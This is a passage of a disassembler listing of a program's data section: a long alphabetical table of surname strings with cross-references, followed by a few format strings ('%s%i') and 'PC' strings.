aPascucci	db 'Pascucci',0         ; DATA XREF: .XComp0:00445E14o
		align 10h
aPatefield	db 'Patefield',0        ; DATA XREF: .XComp0:00445E18o
		align 4
aPatrick	db 'Patrick',0          ; DATA XREF: .XComp0:00445E1Co
aPattullo	db 'Pattullo',0         ; DATA XREF: .XComp0:00445E20o
		align 10h
aPavetti	db 'Pavetti',0          ; DATA XREF: .XComp0:00445E24o
aPavlon		db 'Pavlon',0           ; DATA XREF: .XComp0:00445E28o
		align 10h
aPawloski	db 'Pawloski',0         ; DATA XREF: .XComp0:00445E2Co
		align 4
aPaynter	db 'Paynter',0          ; DATA XREF: .XComp0:00445E30o
aPeabody	db 'Peabody',0          ; DATA XREF: .XComp0:00445E34o
aPearlberg	db 'Pearlberg',0        ; DATA XREF: .XComp0:00445E38o
		align 4
aPederson	db 'Pederson',0         ; DATA XREF: .XComp0:00445E3Co
		align 4
aPeishel	db 'Peishel',0          ; DATA XREF: .XComp0:00445E40o
aPenny		db 'Penny',0            ; DATA XREF: .XComp0:00445E44o
		align 4
aPereira	db 'Pereira',0          ; DATA XREF: .XComp0:00445E48o
aPerko		db 'Perko',0            ; DATA XREF: .XComp0:00445E4Co
		align 4
aPerlak		db 'Perlak',0           ; DATA XREF: .XComp0:00445E50o
		align 4
aPerlman	db 'Perlman',0          ; DATA XREF: .XComp0:00445E54o
aPerna		db 'Perna',0            ; DATA XREF: .XComp0:00445E58o
		align 4
aPerone		db 'Perone',0           ; DATA XREF: .XComp0:00445E5Co
		align 4
aPerrimon	db 'Perrimon',0         ; DATA XREF: .XComp0:00445E60o
		align 10h
aPeters		db 'Peters',0           ; DATA XREF: .XComp0:00445E64o
		align 4
aPetruzello	db 'Petruzello',0       ; DATA XREF: .XComp0:00445E68o
		align 4
aPettibone	db 'Pettibone',0        ; DATA XREF: .XComp0:00445E6Co
		align 10h
aPettit		db 'Pettit',0           ; DATA XREF: .XComp0:00445E70o
		align 4
aPfister	db 'Pfister',0          ; DATA XREF: .XComp0:00445E74o
aPilbeam	db 'Pilbeam',0          ; DATA XREF: .XComp0:00445E78o
aPinot		db 'Pinot',0            ; DATA XREF: .XComp0:00445E7Co
		align 10h
aPlancon	db 'Plancon',0          ; DATA XREF: .XComp0:00445E80o
aPlant		db 'Plant',0            ; DATA XREF: .XComp0:00445E84o
		align 10h
aPlasket	db 'Plasket',0          ; DATA XREF: .XComp0:00445E88o
aPlous		db 'Plous',0            ; DATA XREF: .XComp0:00445E8Co
		align 10h
aPo		db 'Po',0               ; DATA XREF: .XComp0:00445E90o
		align 4
aPocobene	db 'Pocobene',0         ; DATA XREF: .XComp0:00445E94o
		align 10h
aPoincaire	db 'Poincaire',0        ; DATA XREF: .XComp0:00445E98o
		align 4
aPointer	db 'Pointer',0          ; DATA XREF: .XComp0:00445E9Co
aPoirier	db 'Poirier',0          ; DATA XREF: .XComp0:00445EA0o
aPolak		db 'Polak',0            ; DATA XREF: .XComp0:00445EA4o
		align 4
aPolanyi	db 'Polanyi',0          ; DATA XREF: .XComp0:00445EA8o
aPolitis	db 'Politis',0          ; DATA XREF: .XComp0:00445EACo
aPoma		db 'Poma',0             ; DATA XREF: .XComp0:00445EB0o
		align 4
aPoolman	db 'Poolman',0          ; DATA XREF: .XComp0:00445EB4o
aPowers		db 'Powers',0           ; DATA XREF: .XComp0:00445EB8o
		align 4
aPresper	db 'Presper',0          ; DATA XREF: .XComp0:00445EBCo
aPreucel	db 'Preucel',0          ; DATA XREF: .XComp0:00445EC0o
aPrevost	db 'Prevost',0          ; DATA XREF: .XComp0:00445EC4o
aPritchard	db 'Pritchard',0        ; DATA XREF: .XComp0:00445EC8o
		align 10h
aPritz		db 'Pritz',0            ; DATA XREF: .XComp0:00445ECCo
		align 4
aProietti	db 'Proietti',0         ; DATA XREF: .XComp0:00445ED0o
		align 4
aProthrowStith	db 'Prothrow-Stith',0   ; DATA XREF: .XComp0:00445ED4o
		align 4
aPuccia		db 'Puccia',0           ; DATA XREF: .XComp0:00445ED8o
		align 4
aPugh		db 'Pugh',0             ; DATA XREF: .XComp0:00445EDCo
		align 4
aPynchon	db 'Pynchon',0          ; DATA XREF: .XComp0:00445EE0o
aQuaday		db 'Quaday',0           ; DATA XREF: .XComp0:00445EE4o
		align 4
aQuetin		db 'Quetin',0           ; DATA XREF: .XComp0:00445EE8o
		align 4
aRabe		db 'Rabe',0             ; DATA XREF: .XComp0:00445EECo
		align 4
aRabkin		db 'Rabkin',0           ; DATA XREF: .XComp0:00445EF0o
		align 4
aRadeke		db 'Radeke',0           ; DATA XREF: .XComp0:00445EF4o
		align 4
aRajagopalan	db 'Rajagopalan',0      ; DATA XREF: .XComp0:00445EF8o
aRaney		db 'Raney',0            ; DATA XREF: .XComp0:00445EFCo
		align 4
aRangan		db 'Rangan',0           ; DATA XREF: .XComp0:00445F00o
		align 10h
aRankin		db 'Rankin',0           ; DATA XREF: .XComp0:00445F04o
		align 4
aRapple		db 'Rapple',0           ; DATA XREF: .XComp0:00445F08o
		align 10h
aRayport	db 'Rayport',0          ; DATA XREF: .XComp0:00445F0Co
aReddenTyler	db 'Redden-Tyler',0     ; DATA XREF: .XComp0:00445F10o
		align 4
aReedquist	db 'Reedquist',0        ; DATA XREF: .XComp0:00445F14o
		align 4
aCunningham	db 'Cunningham',0       ; DATA XREF: .XComp0:00445F18o
		align 10h
aReinold	db 'Reinold',0          ; DATA XREF: .XComp0:00445F1Co
aRemak		db 'Remak',0            ; DATA XREF: .XComp0:00445F20o
		align 10h
aRenick		db 'Renick',0           ; DATA XREF: .XComp0:00445F24o
		align 4
aRepetto	db 'Repetto',0          ; DATA XREF: .XComp0:00445F28o
aResnik		db 'Resnik',0           ; DATA XREF: .XComp0:00445F2Co
		align 4
aRhea		db 'Rhea',0             ; DATA XREF: .XComp0:00445F30o
		align 10h
aRichmond	db 'Richmond',0         ; DATA XREF: .XComp0:00445F34o
		align 4
aRielly		db 'Rielly',0           ; DATA XREF: .XComp0:00445F38o
		align 4
aRindos		db 'Rindos',0           ; DATA XREF: .XComp0:00445F3Co
		align 4
aRineer		db 'Rineer',0           ; DATA XREF: .XComp0:00445F40o
		align 4
aRish		db 'Rish',0             ; DATA XREF: .XComp0:00445F44o
		align 4
aRivera		db 'Rivera',0           ; DATA XREF: .XComp0:00445F48o
		align 4
aRobinson	db 'Robinson',0         ; DATA XREF: .XComp0:00445F4Co
		align 10h
aRocha		db 'Rocha',0            ; DATA XREF: .XComp0:00445F50o
		align 4
aRoesler	db 'Roesler',0          ; DATA XREF: .XComp0:00445F54o
aRogers		db 'Rogers',0           ; DATA XREF: .XComp0:00445F58o
		align 4
aRonen		db 'Ronen',0            ; DATA XREF: .XComp0:00445F5Co
		align 10h
aRow		db 'Row',0              ; DATA XREF: .XComp0:00445F60o
aRoyal		db 'Royal',0            ; DATA XREF: .XComp0:00445F64o
		align 4
aRu		db 'Ru',0               ; DATA XREF: .XComp0:00445F68o
		align 10h
aRuan		db 'Ruan',0             ; DATA XREF: .XComp0:00445F6Co
		align 4
aRuderman	db 'Ruderman',0         ; DATA XREF: .XComp0:00445F70o
		align 4
aRuescher	db 'Ruescher',0         ; DATA XREF: .XComp0:00445F74o
		align 10h
aRush		db 'Rush',0             ; DATA XREF: .XComp0:00445F78o
		align 4
aRyu		db 'Ryu',0              ; DATA XREF: .XComp0:00445F7Co
aSabatello	db 'Sabatello',0        ; DATA XREF: .XComp0:00445F80o
		align 4
aSadler		db 'Sadler',0           ; DATA XREF: .XComp0:00445F84o
		align 10h
aSafire		db 'Safire',0           ; DATA XREF: .XComp0:00445F88o
		align 4
aSahu		db 'Sahu',0             ; DATA XREF: .XComp0:00445F8Co
		align 10h
aSali		db 'Sali',0             ; DATA XREF: .XComp0:00445F90o
		align 4
aSamson		db 'Samson',0           ; DATA XREF: .XComp0:00445F94o
		align 10h
aSanchezRamirez	db 'Sanchez-Ramirez',0  ; DATA XREF: .XComp0:00445F98o
aSanna		db 'Sanna',0            ; DATA XREF: .XComp0:00445F9Co
		align 4
aSapers		db 'Sapers',0           ; DATA XREF: .XComp0:00445FA0o
		align 10h
aSarin		db 'Sarin',0            ; DATA XREF: .XComp0:00445FA4o
		align 4
aSartore	db 'Sartore',0          ; DATA XREF: .XComp0:00445FA8o
aSase		db 'Sase',0             ; DATA XREF: .XComp0:00445FACo
		align 4
aSatin		db 'Satin',0            ; DATA XREF: .XComp0:00445FB0o
		align 10h
aSatta		db 'Satta',0            ; DATA XREF: .XComp0:00445FB4o
		align 4
aSatterthwaite	db 'Satterthwaite',0    ; DATA XREF: .XComp0:00445FB8o
		align 4
aSawtell	db 'Sawtell',0          ; DATA XREF: .XComp0:00445FBCo
aSayied		db 'Sayied',0           ; DATA XREF: .XComp0:00445FC0o
		align 4
aScarponi	db 'Scarponi',0         ; DATA XREF: .XComp0:00445FC4o
		align 4
aScepan		db 'Scepan',0           ; DATA XREF: .XComp0:00445FC8o
		align 4
aScharf		db 'Scharf',0           ; DATA XREF: .XComp0:00445FCCo
		align 4
aScharlemann	db 'Scharlemann',0      ; DATA XREF: .XComp0:00445FD0o
aScheiner	db 'Scheiner',0         ; DATA XREF: .XComp0:00445FD4o
		align 4
aSchiano	db 'Schiano',0          ; DATA XREF: .XComp0:00445FD8o
aSchifini	db 'Schifini',0         ; DATA XREF: .XComp0:00445FDCo
		align 10h
aSchilling	db 'Schilling',0        ; DATA XREF: .XComp0:00445FE0o
		align 4
aSchmitt	db 'Schmitt',0          ; DATA XREF: .XComp0:00445FE4o
aSchossberger	db 'Schossberger',0     ; DATA XREF: .XComp0:00445FE8o
		align 4
aSchuman	db 'Schuman',0          ; DATA XREF: .XComp0:00445FECo
aSchutte	db 'Schutte',0          ; DATA XREF: .XComp0:00445FF0o
aSchuyler	db 'Schuyler',0         ; DATA XREF: .XComp0:00445FF4o
		align 10h
aSchwan		db 'Schwan',0           ; DATA XREF: .XComp0:00445FF8o
		align 4
aSchwickrath	db 'Schwickrath',0      ; DATA XREF: .XComp0:00445FFCo
aScovel		db 'Scovel',0           ; DATA XREF: .XComp0:00446000o
		align 4
aScudder	db 'Scudder',0          ; DATA XREF: .XComp0:00446004o
aSeaton		db 'Seaton',0           ; DATA XREF: .XComp0:00446008o
		align 4
aSeeber		db 'Seeber',0           ; DATA XREF: .XComp0:0044600Co
		align 4
aSegal		db 'Segal',0            ; DATA XREF: .XComp0:00446010o
		align 4
aSekler		db 'Sekler',0           ; DATA XREF: .XComp0:00446014o
		align 4
aSelvage	db 'Selvage',0          ; DATA XREF: .XComp0:00446018o
aSen		db 'Sen',0              ; DATA XREF: .XComp0:0044601Co
aSennett	db 'Sennett',0          ; DATA XREF: .XComp0:00446020o
aSeterdahl	db 'Seterdahl',0        ; DATA XREF: .XComp0:00446024o
		align 4
aSexton		db 'Sexton',0           ; DATA XREF: .XComp0:00446028o
		align 4
aSeyfert	db 'Seyfert',0          ; DATA XREF: .XComp0:0044602Co
aShaikh		db 'Shaikh',0           ; DATA XREF: .XComp0:00446030o
		align 4
aShakis		db 'Shakis',0           ; DATA XREF: .XComp0:00446034o
		align 4
aShankland	db 'Shankland',0        ; DATA XREF: .XComp0:00446038o
		align 10h
aShanley	db 'Shanley',0          ; DATA XREF: .XComp0:0044603Co
aShar		db 'Shar',0             ; DATA XREF: .XComp0:00446040o
		align 10h
aShatrov	db 'Shatrov',0          ; DATA XREF: .XComp0:00446044o
aShavelson	db 'Shavelson',0        ; DATA XREF: .XComp0:00446048o
		align 4
aShea		db 'Shea',0             ; DATA XREF: .XComp0:0044604Co
		align 4
aSheats		db 'Sheats',0           ; DATA XREF: .XComp0:00446050o
		align 4
aShepherd	db 'Shepherd',0         ; DATA XREF: .XComp0:00446054o
		align 10h
aSheppard	db 'Sheppard',0         ; DATA XREF: .XComp0:00446058o
		align 4
aShepstone	db 'Shepstone',0        ; DATA XREF: .XComp0:0044605Co
		align 4
aShesko		db 'Shesko',0           ; DATA XREF: .XComp0:00446060o
		align 10h
aShia		db 'Shia',0             ; DATA XREF: .XComp0:00446064o
		align 4
aShibata	db 'Shibata',0          ; DATA XREF: .XComp0:00446068o
aShimon		db 'Shimon',0           ; DATA XREF: .XComp0:0044606Co
		align 4
aSiesto		db 'Siesto',0           ; DATA XREF: .XComp0:00446070o
		align 10h
aSigalot	db 'Sigalot',0          ; DATA XREF: .XComp0:00446074o
aSigini		db 'Sigini',0           ; DATA XREF: .XComp0:00446078o
		align 10h
aSigna		db 'Signa',0            ; DATA XREF: .XComp0:0044607Co
		align 4
aSilverman	db 'Silverman',0        ; DATA XREF: .XComp0:00446080o
		align 4
aSilvetti	db 'Silvetti',0         ; DATA XREF: .XComp0:00446084o
		align 10h
aSinsabaugh	db 'Sinsabaugh',0       ; DATA XREF: .XComp0:00446088o
		align 4
aSirilli	db 'Sirilli',0          ; DATA XREF: .XComp0:0044608Co
aSites		db 'Sites',0            ; DATA XREF: .XComp0:00446090o
		align 4
aSkane		db 'Skane',0            ; DATA XREF: .XComp0:00446094o
		align 4
aSkerry		db 'Skerry',0           ; DATA XREF: .XComp0:00446098o
		align 4
aSkoda		db 'Skoda',0            ; DATA XREF: .XComp0:0044609Co
		align 4
aSloan		db 'Sloan',0            ; DATA XREF: .XComp0:004460A0o
		align 4
aSlowe		db 'Slowe',0            ; DATA XREF: .XComp0:004460A4o
		align 4
aSmilow		db 'Smilow',0           ; DATA XREF: .XComp0:004460A8o
		align 4
aSniffen	db 'Sniffen',0          ; DATA XREF: .XComp0:004460ACo
aSnodgrass	db 'Snodgrass',0        ; DATA XREF: .XComp0:004460B0o
		align 10h
aSocolow	db 'Socolow',0          ; DATA XREF: .XComp0:004460B4o
aSolon		db 'Solon',0            ; DATA XREF: .XComp0:004460B8o
		align 10h
aSomers		db 'Somers',0           ; DATA XREF: .XComp0:004460BCo
		align 4
aSommariva	db 'Sommariva',0        ; DATA XREF: .XComp0:004460C0o
		align 4
aSorabella	db 'Sorabella',0        ; DATA XREF: .XComp0:004460C4o
		align 10h
aSorg		db 'Sorg',0             ; DATA XREF: .XComp0:004460C8o
		align 4
aSottak		db 'Sottak',0           ; DATA XREF: .XComp0:004460CCo
		align 10h
aSoukup		db 'Soukup',0           ; DATA XREF: .XComp0:004460D0o
		align 4
aSoule		db 'Soule',0            ; DATA XREF: .XComp0:004460D4o
		align 10h
aSoultanian	db 'Soultanian',0       ; DATA XREF: .XComp0:004460D8o
		align 4
aSpanier	db 'Spanier',0          ; DATA XREF: .XComp0:004460DCo
aSparrow	db 'Sparrow',0          ; DATA XREF: .XComp0:004460E0o
aSpaulding	db 'Spaulding',0        ; DATA XREF: .XComp0:004460E4o
		align 4
aSpeizer	db 'Speizer',0          ; DATA XREF: .XComp0:004460E8o
aSpence		db 'Spence',0           ; DATA XREF: .XComp0:004460ECo
		align 4
aSperber	db 'Sperber',0          ; DATA XREF: .XComp0:004460F0o
aSpicer		db 'Spicer',0           ; DATA XREF: .XComp0:004460F4o
		align 4
aSpiegelhalter	db 'Spiegelhalter',0    ; DATA XREF: .XComp0:004460F8o
		align 4
aSpiliotis	db 'Spiliotis',0        ; DATA XREF: .XComp0:004460FCo
		align 4
aSpinrad	db 'Spinrad',0          ; DATA XREF: .XComp0:00446100o
aStmartin	db 'StMartin',0         ; DATA XREF: .XComp0:00446104o
		align 4
aStalvey	db 'Stalvey',0          ; DATA XREF: .XComp0:00446108o
aStam		db 'Stam',0             ; DATA XREF: .XComp0:0044610Co
		align 4
aStang		db 'Stang',0            ; DATA XREF: .XComp0:00446110o
		align 10h
aStassinopolus	db 'Stassinopolus',0    ; DATA XREF: .XComp0:00446114o
		align 10h
aStates		db 'States',0           ; DATA XREF: .XComp0:00446118o
		align 4
aStatlender	db 'Statlender',0       ; DATA XREF: .XComp0:0044611Co
		align 4
aStefani	db 'Stefani',0          ; DATA XREF: .XComp0:00446120o
aSteiner	db 'Steiner',0          ; DATA XREF: .XComp0:00446124o
aStephanian	db 'Stephanian',0       ; DATA XREF: .XComp0:00446128o
		align 10h
aStepniewska	db 'Stepniewska',0      ; DATA XREF: .XComp0:0044612Co
aStewartOaten	db 'Stewart-Oaten',0    ; DATA XREF: .XComp0:00446130o
		align 4
aStiepock	db 'Stiepock',0         ; DATA XREF: .XComp0:00446134o
		align 4
aStillwell	db 'Stillwell',0        ; DATA XREF: .XComp0:00446138o
		align 4
aStock		db 'Stock',0            ; DATA XREF: .XComp0:0044613Co
		align 4
aStockton	db 'Stockton',0         ; DATA XREF: .XComp0:00446140o
		align 4
aStockwell	db 'Stockwell',0        ; DATA XREF: .XComp0:00446144o
		align 4
aStolzenberg	db 'Stolzenberg',0      ; DATA XREF: .XComp0:00446148o
aStonich	db 'Stonich',0          ; DATA XREF: .XComp0:0044614Co
aStorer		db 'Storer',0           ; DATA XREF: .XComp0:00446150o
		align 10h
aStott		db 'Stott',0            ; DATA XREF: .XComp0:00446154o
		align 4
aStrange	db 'Strange',0          ; DATA XREF: .XComp0:00446158o
aStrauch	db 'Strauch',0          ; DATA XREF: .XComp0:0044615Co
aStreiff	db 'Streiff',0          ; DATA XREF: .XComp0:00446160o
aStringer	db 'Stringer',0         ; DATA XREF: .XComp0:00446164o
		align 4
aSullivan	db 'Sullivan',0         ; DATA XREF: .XComp0:00446168o
		align 4
aSumner		db 'Sumner',0           ; DATA XREF: .XComp0:0044616Co
		align 10h
aSuo		db 'Suo',0              ; DATA XREF: .XComp0:00446170o
aSurdam		db 'Surdam',0           ; DATA XREF: .XComp0:00446174o
		align 4
aSweeting	db 'Sweeting',0         ; DATA XREF: .XComp0:00446178o
		align 4
aSweetser	db 'Sweetser',0         ; DATA XREF: .XComp0:0044617Co
		align 4
aSwindle	db 'Swindle',0          ; DATA XREF: .XComp0:00446180o
aTagiuri	db 'Tagiuri',0          ; DATA XREF: .XComp0:00446184o
aTai		db 'Tai',0              ; DATA XREF: .XComp0:00446188o
aTalaugon	db 'Talaugon',0         ; DATA XREF: .XComp0:0044618Co
		align 4
aTambiah	db 'Tambiah',0          ; DATA XREF: .XComp0:00446190o
aTandler	db 'Tandler',0          ; DATA XREF: .XComp0:00446194o
aTanowitz	db 'Tanowitz',0         ; DATA XREF: .XComp0:00446198o
		align 10h
aTatar		db 'Tatar',0            ; DATA XREF: .XComp0:0044619Co
		align 4
aTaveras	db 'Taveras',0          ; DATA XREF: .XComp0:004461A0o
aTawn		db 'Tawn',0             ; DATA XREF: .XComp0:004461A4o
		align 4
aTcherepnin	db 'Tcherepnin',0       ; DATA XREF: .XComp0:004461A8o
		align 4
aTeague		db 'Teague',0           ; DATA XREF: .XComp0:004461ACo
		align 4
aTemes		db 'Temes',0            ; DATA XREF: .XComp0:004461B0o
		align 4
aTemmer		db 'Temmer',0           ; DATA XREF: .XComp0:004461B4o
		align 4
aTenney		db 'Tenney',0           ; DATA XREF: .XComp0:004461B8o
		align 4
aTerracini	db 'Terracini',0        ; DATA XREF: .XComp0:004461BCo
		align 10h
aThan		db 'Than',0             ; DATA XREF: .XComp0:004461C0o
		align 4
aThavaneswaran	db 'Thavaneswaran',0    ; DATA XREF: .XComp0:004461C4o
		align 4
aTheodos	db 'Theodos',0          ; DATA XREF: .XComp0:004461C8o
aThibault	db 'Thibault',0         ; DATA XREF: .XComp0:004461CCo
		align 4
aThisted	db 'Thisted',0          ; DATA XREF: .XComp0:004461D0o
aThomsen	db 'Thomsen',0          ; DATA XREF: .XComp0:004461D4o
aThroop		db 'Throop',0           ; DATA XREF: .XComp0:004461D8o
		align 4
aTierney	db 'Tierney',0          ; DATA XREF: .XComp0:004461DCo
aTill		db 'Till',0             ; DATA XREF: .XComp0:004461E0o
		align 4
aTimmons	db 'Timmons',0          ; DATA XREF: .XComp0:004461E4o
aTofallis	db 'Tofallis',0         ; DATA XREF: .XComp0:004461E8o
		align 4
aTollestrup	db 'Tollestrup',0       ; DATA XREF: .XComp0:004461ECo
		align 4
aTolls		db 'Tolls',0            ; DATA XREF: .XComp0:004461F0o
		align 4
aTolman		db 'Tolman',0           ; DATA XREF: .XComp0:004461F4o
		align 4
aTomford	db 'Tomford',0          ; DATA XREF: .XComp0:004461F8o
aToomer		db 'Toomer',0           ; DATA XREF: .XComp0:004461FCo
		align 4
aTopulos	db 'Topulos',0          ; DATA XREF: .XComp0:00446200o
aTorresi	db 'Torresi',0          ; DATA XREF: .XComp0:00446204o
aTorske		db 'Torske',0           ; DATA XREF: .XComp0:00446208o
		align 4
aTowler		db 'Towler',0           ; DATA XREF: .XComp0:0044620Co
		align 4
aToye		db 'Toye',0             ; DATA XREF: .XComp0:00446210o
		align 4
aTraebert	db 'Traebert',0         ; DATA XREF: .XComp0:00446214o
		align 4
aTrenga		db 'Trenga',0           ; DATA XREF: .XComp0:00446218o
		align 10h
aTrewin		db 'Trewin',0           ; DATA XREF: .XComp0:0044621Co
		align 4
aTringali	db 'Tringali',0         ; DATA XREF: .XComp0:00446220o
		align 4
aTroiani	db 'Troiani',0          ; DATA XREF: .XComp0:00446224o
aTroy		db 'Troy',0             ; DATA XREF: .XComp0:00446228o
		align 4
aTruss		db 'Truss',0            ; DATA XREF: .XComp0:0044622Co
		align 4
aTsiatis	db 'Tsiatis',0          ; DATA XREF: .XComp0:00446230o
aTsomides	db 'Tsomides',0         ; DATA XREF: .XComp0:00446234o
		align 10h
aTsukurov	db 'Tsukurov',0         ; DATA XREF: .XComp0:00446238o
		align 4
aTuck		db 'Tuck',0             ; DATA XREF: .XComp0:0044623Co
		align 4
aTudge		db 'Tudge',0            ; DATA XREF: .XComp0:00446240o
		align 4
aTukan		db 'Tukan',0            ; DATA XREF: .XComp0:00446244o
		align 4
aTurano		db 'Turano',0           ; DATA XREF: .XComp0:00446248o
		align 4
aTurek		db 'Turek',0            ; DATA XREF: .XComp0:0044624Co
		align 4
aTuttle		db 'Tuttle',0           ; DATA XREF: .XComp0:00446250o
		align 4
aTwells		db 'Twells',0           ; DATA XREF: .XComp0:00446254o
		align 4
aTzamarias	db 'Tzamarias',0        ; DATA XREF: .XComp0:00446258o
		align 10h
aUllman		db 'Ullman',0           ; DATA XREF: .XComp0:0044625Co
		align 4
aUntermeyer	db 'Untermeyer',0       ; DATA XREF: .XComp0:00446260o
		align 4
aUpsdell	db 'Upsdell',0          ; DATA XREF: .XComp0:00446264o
aUrban		db 'Urban',0            ; DATA XREF: .XComp0:00446268o
		align 4
aUrdangBrown	db 'Urdang-Brown',0     ; DATA XREF: .XComp0:0044626Co
		align 4
aUsdan		db 'Usdan',0            ; DATA XREF: .XComp0:00446270o
		align 4
aUzuner		db 'Uzuner',0           ; DATA XREF: .XComp0:00446274o
		align 4
aVacca		db 'Vacca',0            ; DATA XREF: .XComp0:00446278o
		align 4
aWaite		db 'Waite',0            ; DATA XREF: .XComp0:0044627Co
		align 4
aValberg	db 'Valberg',0          ; DATA XREF: .XComp0:00446280o
aValencia	db 'Valencia',0         ; DATA XREF: .XComp0:00446284o
		align 4
aWales		db 'Wales',0            ; DATA XREF: .XComp0:00446288o
		align 10h
aWallenberg	db 'Wallenberg',0       ; DATA XREF: .XComp0:0044628Co
		align 4
aWalter		db 'Walter',0           ; DATA XREF: .XComp0:00446290o
		align 4
aVanallen	db 'vanAllen',0         ; DATA XREF: .XComp0:00446294o
		align 10h
aVanzwet	db 'VanZwet',0          ; DATA XREF: .XComp0:00446298o
aVandenberg	db 'Vandenberg',0       ; DATA XREF: .XComp0:0044629Co
		align 4
aVanheeckeren	db 'Vanheeckeren',0     ; DATA XREF: .XComp0:004462A0o
		align 4
aWarshafsky	db 'Warshafsky',0       ; DATA XREF: .XComp0:004462A4o
		align 10h
aWasowska	db 'Wasowska',0         ; DATA XREF: .XComp0:004462A8o
		align 4
aVasquez	db 'Vasquez',0          ; DATA XREF: .XComp0:004462ACo
aWaugh		db 'Waugh',0            ; DATA XREF: .XComp0:004462B0o
		align 4
aWeighart	db 'Weighart',0         ; DATA XREF: .XComp0:004462B4o
		align 4
aWeingarten	db 'Weingarten',0       ; DATA XREF: .XComp0:004462B8o
		align 4
aWeinhaus	db 'Weinhaus',0         ; DATA XREF: .XComp0:004462BCo
		align 10h
aWeissbourd	db 'Weissbourd',0       ; DATA XREF: .XComp0:004462C0o
		align 4
aWeissman	db 'Weissman',0         ; DATA XREF: .XComp0:004462C4o
		align 4
aVelasquez	db 'Velasquez',0        ; DATA XREF: .XComp0:004462C8o
		align 4
aWelles		db 'Welles',0           ; DATA XREF: .XComp0:004462CCo
		align 4
aWelsh		db 'Welsh',0            ; DATA XREF: .XComp0:004462D0o
		align 4
aWengret	db 'Wengret',0          ; DATA XREF: .XComp0:004462D4o
aVenne		db 'Venne',0            ; DATA XREF: .XComp0:004462D8o
		align 4
aVerghese	db 'Verghese',0         ; DATA XREF: .XComp0:004462DCo
		align 10h
aWescott	db 'Wescott',0          ; DATA XREF: .XComp0:004462E0o
aWetzel		db 'Wetzel',0           ; DATA XREF: .XComp0:004462E4o
		align 10h
aWhately	db 'Whately',0          ; DATA XREF: .XComp0:004462E8o
aWhilton	db 'Whilton',0          ; DATA XREF: .XComp0:004462ECo
aWhite		db 'White',0            ; DATA XREF: .XComp0:004462F0o
		align 4
aWhitla		db 'Whitla',0           ; DATA XREF: .XComp0:004462F4o
		align 10h
aWhittaker	db 'Whittaker',0        ; DATA XREF: .XComp0:004462F8o
		align 4
aViana		db 'Viana',0            ; DATA XREF: .XComp0:004462FCo
		align 4
aViano		db 'Viano',0            ; DATA XREF: .XComp0:00446300o
		align 4
aWiedersheim	db 'Wiedersheim',0      ; DATA XREF: .XComp0:00446304o
aWiener		db 'Wiener',0           ; DATA XREF: .XComp0:00446308o
		align 10h
aViens		db 'Viens',0            ; DATA XREF: .XComp0:0044630Co
		align 4
aVignola	db 'Vignola',0          ; DATA XREF: .XComp0:00446310o
aWilder		db 'Wilder',0           ; DATA XREF: .XComp0:00446314o
		align 4
aWilhelm	db 'Wilhelm',0          ; DATA XREF: .XComp0:00446318o
aWilk		db 'Wilk',0             ; DATA XREF: .XComp0:0044631Co
		align 4
aWilkin		db 'Wilkin',0           ; DATA XREF: .XComp0:00446320o
		align 10h
aWilkinson	db 'Wilkinson',0        ; DATA XREF: .XComp0:00446324o
		align 4
aVillarreal	db 'Villarreal',0       ; DATA XREF: .XComp0:00446328o
		align 4
aWillstatter	db 'Willstatter',0      ; DATA XREF: .XComp0:0044632Co
aWilson		db 'Wilson',0           ; DATA XREF: .XComp0:00446330o
		align 4
aVitali		db 'Vitali',0           ; DATA XREF: .XComp0:00446334o
		align 4
aViviani	db 'Viviani',0          ; DATA XREF: .XComp0:00446338o
aVoigt		db 'Voigt',0            ; DATA XREF: .XComp0:0044633Co
		align 4
aWolk		db 'Wolk',0             ; DATA XREF: .XComp0:00446340o
		align 4
aVonhoffman	db 'VonHoffman',0       ; DATA XREF: .XComp0:00446344o
		align 4
aWoo		db 'Woo',0              ; DATA XREF: .XComp0:00446348o
aWooden		db 'Wooden',0           ; DATA XREF: .XComp0:0044634Co
		align 4
aWoods		db 'Woods',0            ; DATA XREF: .XComp0:00446350o
		align 4
aWoodsPowell	db 'Woods-Powell',0     ; DATA XREF: .XComp0:00446354o
		align 4
aVorhaus	db 'Vorhaus',0          ; DATA XREF: .XComp0:00446358o
aVotey		db 'Votey',0            ; DATA XREF: .XComp0:0044635Co
		align 4
aYacono		db 'Yacono',0           ; DATA XREF: .XComp0:00446360o
		align 4
aYamane		db 'Yamane',0           ; DATA XREF: .XComp0:00446364o
		align 4
aYankee		db 'Yankee',0           ; DATA XREF: .XComp0:00446368o
		align 4
aYarchuk	db 'Yarchuk',0          ; DATA XREF: .XComp0:0044636Co
aYates		db 'Yates',0            ; DATA XREF: .XComp0:00446370o
		align 4
aYbarra		db 'Ybarra',0           ; DATA XREF: .XComp0:00446374o
		align 4
aYedidia	db 'Yedidia',0          ; DATA XREF: .XComp0:00446378o
aYesson		db 'Yesson',0           ; DATA XREF: .XComp0:0044637Co
		align 4
aYetiv		db 'Yetiv',0            ; DATA XREF: .XComp0:00446380o
		align 4
aYoffe		db 'Yoffe',0            ; DATA XREF: .XComp0:00446384o
		align 4
aYoo		db 'Yoo',0              ; DATA XREF: .XComp0:00446388o
aYoukSee	db 'Youk-See',0         ; DATA XREF: .XComp0:0044638Co
		align 4
aYu		db 'Yu',0               ; DATA XREF: .XComp0:00446390o
		align 10h
aZachary	db 'Zachary',0          ; DATA XREF: .XComp0:00446394o
aZahedi		db 'Zahedi',0           ; DATA XREF: .XComp0:00446398o
		align 10h
aZangwill	db 'Zangwill',0         ; DATA XREF: .XComp0:0044639Co
		align 4
aZegans		db 'Zegans',0           ; DATA XREF: .XComp0:004463A0o
		align 4
aZerbini	db 'Zerbini',0          ; DATA XREF: .XComp0:004463A4o
aZoldak		db 'Zoldak',0           ; DATA XREF: .XComp0:004463A8o
		align 4
aZucconi	db 'Zucconi',0          ; DATA XREF: .XComp0:004463ACo
aZurn		db 'Zurn',0             ; DATA XREF: .XComp0:004463B0o
		align 4
aZwiers		db 'Zwiers',0           ; DATA XREF: .XComp0:004463B4o
		align 4
aZytowski	db 'Zytowski',0         ; DATA XREF: .XComp0:004463B8o
		align 4
aS_30		db '%s',0               ; DATA XREF: sub_40C9C0+26o
		align 4
aSI		db '%s%i',0             ; DATA XREF: sub_40C9C0+5Fo
		align 4
aS_31		db '%s',0               ; DATA XREF: .XComp0:0040CA4Eo
		align 4
aSI_0		db '%s%i',0             ; DATA XREF: .XComp0:0040CA87o
		align 10h
aPc		db 'PC',0               ; DATA XREF: .XComp0:0040CB07o
		align 4
aPc_0		db 'PC',0               ; DATA XREF: .XComp0:0040CB37o
		align 4
aPc_1		db 'PC',0               ; DATA XREF: .XComp0:0040CB98o
		align 4
